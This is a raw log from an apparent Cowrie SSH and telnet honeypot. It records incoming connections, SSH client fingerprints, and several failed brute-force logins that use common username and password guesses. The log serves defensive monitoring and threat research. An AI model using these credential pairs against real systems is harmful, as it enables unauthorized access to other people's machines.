{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":45970,"dst_ip":"159.203.135.109","dst_port":23,"session":"27c95e57555f","protocol":"telnet","message":"New connection: 172.81.62.90:45970 (159.203.135.109:23) [session: 27c95e57555f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:00:58.755570Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:00:58.846166Z","src_ip":"91.92.40.36","session":"3b838cd48418","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":57982,"dst_ip":"10.17.0.5","dst_port":23,"session":"be286b067ef6","protocol":"telnet","message":"New connection: 94.23.66.112:57982 (10.17.0.5:23) [session: be286b067ef6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:01:00.307388Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":14266,"dst_ip":"10.17.0.5","dst_port":22,"session":"682141e18f6f","protocol":"ssh","message":"New connection: 91.92.40.36:14266 (10.17.0.5:22) [session: 682141e18f6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:01:03.660570Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:01:04.401191Z","src_ip":"91.92.40.36","session":"682141e18f6f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:01:04.404801Z","src_ip":"91.92.40.36","session":"682141e18f6f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":54460,"dst_ip":"159.203.135.109","dst_port":23,"session":"a5885bfb74bf","protocol":"telnet","message":"New connection: 128.199.8.54:54460 (159.203.135.109:23) [session: a5885bfb74bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:01:05.839080Z"}
{"eventid":"cowrie.session.closed","duration":0.0051767826080322266,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:01:05.844128Z","src_ip":"128.199.8.54","session":"a5885bfb74bf","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"appuser","password":"appuser","message":"login attempt [appuser/appuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:01:08.217000Z","src_ip":"91.92.40.36","session":"682141e18f6f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:01:09.829959Z","src_ip":"91.92.40.36","session":"682141e18f6f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":34062,"dst_ip":"10.17.0.5","dst_port":22,"session":"4896c70cbe83","protocol":"ssh","message":"New connection: 91.92.40.36:34062 (10.17.0.5:22) [session: 4896c70cbe83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:01:10.593122Z"}
{"eventid":"cowrie.session.closed","duration":10.88100528717041,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:01:11.188250Z","src_ip":"94.23.66.112","session":"be286b067ef6","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:01:11.263681Z","src_ip":"91.92.40.36","session":"4896c70cbe83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:01:11.268352Z","src_ip":"91.92.40.36","session":"4896c70cbe83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa11223344","message":"login attempt [root/Aa11223344] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:01:13.895296Z","src_ip":"91.92.40.36","session":"4896c70cbe83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.2","message":"Connection lost after 5.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:01:15.816134Z","src_ip":"91.92.40.36","session":"4896c70cbe83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":33424,"dst_ip":"10.17.0.5","dst_port":22,"session":"eaaa93192bc5","protocol":"ssh","message":"New connection: 91.92.40.36:33424 (10.17.0.5:22) [session: eaaa93192bc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:01:16.803642Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:01:18.182930Z","src_ip":"91.92.40.36","session":"eaaa93192bc5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:01:18.186735Z","src_ip":"91.92.40.36","session":"eaaa93192bc5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":48578,"dst_ip":"159.203.135.109","dst_port":23,"session":"7808e288a5de","protocol":"telnet","message":"New connection: 128.199.8.54:48578 (159.203.135.109:23) [session: 7808e288a5de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:01:19.345494Z"}
{"eventid":"cowrie.login.failed","username":"amir","password":"1234","message":"login attempt [amir/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:01:21.454072Z","src_ip":"91.92.40.36","session":"eaaa93192bc5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.122.139","src_port":57390,"dst_ip":"10.17.0.5","dst_port":22,"session":"29f420f668a5","protocol":"ssh","message":"New connection: 101.36.122.139:57390 (10.17.0.5:22) [session: 29f420f668a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:01:21.504359Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:01:21.508802Z","src_ip":"101.36.122.139","session":"29f420f668a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:01:21.723149Z","src_ip":"101.36.122.139","session":"29f420f668a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"abcd123456789","message":"login attempt [admin/abcd123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:01:22.614586Z","src_ip":"101.36.122.139","session":"29f420f668a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:01:22.813982Z","src_ip":"91.92.40.36","session":"eaaa93192bc5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:01:23.832079Z","src_ip":"101.36.122.139","session":"29f420f668a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":33508,"dst_ip":"10.17.0.5","dst_port":22,"session":"6b3e650a750e","protocol":"ssh","message":"New connection: 91.92.40.36:33508 (10.17.0.5:22) [session: 6b3e650a750e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:01:25.271345Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:01:26.113219Z","src_ip":"91.92.40.36","session":"6b3e650a750e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:01:26.117431Z","src_ip":"91.92.40.36","session":"6b3e650a750e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12","message":"login attempt [root/12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:01:29.434568Z","src_ip":"91.92.40.36","session":"6b3e650a750e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.8","message":"Connection lost after 5.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:01:31.030632Z","src_ip":"91.92.40.36","session":"6b3e650a750e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":35246,"dst_ip":"10.17.0.5","dst_port":22,"session":"8440bb39de19","protocol":"ssh","message":"New connection: 91.92.40.36:35246 (10.17.0.5:22) [session: 8440bb39de19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:01:34.721242Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:01:35.352084Z","src_ip":"91.92.40.36","session":"8440bb39de19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.73590302467346,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:01:35.491307Z","src_ip":"172.81.62.90","session":"27c95e57555f","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:01:36.387332Z","src_ip":"91.92.40.36","session":"8440bb39de19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":23516,"dst_ip":"10.17.0.5","dst_port":22,"session":"a64d3d28bcc0","protocol":"ssh","message":"New connection: 91.92.40.36:23516 (10.17.0.5:22) [session: a64d3d28bcc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:01:41.368451Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:01:41.440812Z","src_ip":"91.92.40.36","session":"a64d3d28bcc0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:01:41.593886Z","src_ip":"91.92.40.36","session":"a64d3d28bcc0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"051178","message":"login attempt [admin/051178] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:01:42.265115Z","src_ip":"91.92.40.36","session":"a64d3d28bcc0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ABCabc123","message":"login attempt [root/ABCabc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:01:42.603527Z","src_ip":"91.92.40.36","session":"8440bb39de19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:01:43.611245Z","src_ip":"91.92.40.36","session":"a64d3d28bcc0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.9","message":"Connection lost after 9.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:01:44.608904Z","src_ip":"91.92.40.36","session":"8440bb39de19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":54116,"dst_ip":"10.17.0.5","dst_port":22,"session":"c4356deda308","protocol":"ssh","message":"New connection: 91.92.40.36:54116 (10.17.0.5:22) [session: c4356deda308]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:01:48.207242Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:01:48.971624Z","src_ip":"91.92.40.36","session":"c4356deda308","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"]